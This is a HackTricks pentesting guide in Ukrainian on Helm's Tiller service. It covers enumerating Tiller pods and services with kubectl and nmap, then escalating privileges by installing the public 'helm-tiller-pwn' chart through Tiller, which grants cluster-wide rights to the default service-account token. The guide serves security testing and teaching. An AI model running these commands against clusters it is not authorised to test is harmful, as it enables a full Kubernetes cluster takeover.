hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

6.3 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Основна інформація

Helm є менеджером пакетів для Kubernetes. Він дозволяє пакувати YAML файли та розповсюджувати їх у публічних і приватних репозиторіях. Ці пакети називаються Helm Charts. Tiller є сервісом, що запускається за замовчуванням на порту 44134, пропонуючи цю послугу.

Порт за замовчуванням: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

Якщо ви можете перерахувати поди та/або сервіси різних просторових імен, перераховуйте їх і шукайте ті, що містять "tiller" у своїй назві:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Приклади:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Ви також можете спробувати знайти цю службу, перевіривши порт 44134:

sudo nmap -sS -p 44134 <IP>

Якщо ви його виявили, ви можете зв'язатися з ним, завантаживши клієнтський додаток helm. Ви можете використовувати інструменти, такі як homebrew, або переглянути сторінку офіційних релізів. Для отримання додаткової інформації або інших варіантів дивіться посібник з установки.

Потім ви можете перерахувати сервіс:

helm --host tiller-deploy.kube-system:44134 version

Підвищення Привілеїв

За замовчуванням Helm2 був встановлений у просторі імен kube-system з високими привілеями, тому якщо ви знайдете сервіс і матимете до нього доступ, це може дозволити вам підвищити привілеї.

Все, що вам потрібно зробити, це встановити пакет, подібний до цього: https://github.com/Ruil1n/helm-tiller-pwn, який надасть доступ до всього в усьому кластері для токена сервісу за замовчуванням.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

В http://rui0.cn/archives/1573 ви знайдете пояснення атаки, але в основному, якщо ви прочитаєте файли clusterrole.yaml та clusterrolebinding.yaml всередині helm-tiller-pwn/pwnchart/templates/ ви зможете побачити, як всі привілеї надаються за замовчуванням токену.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}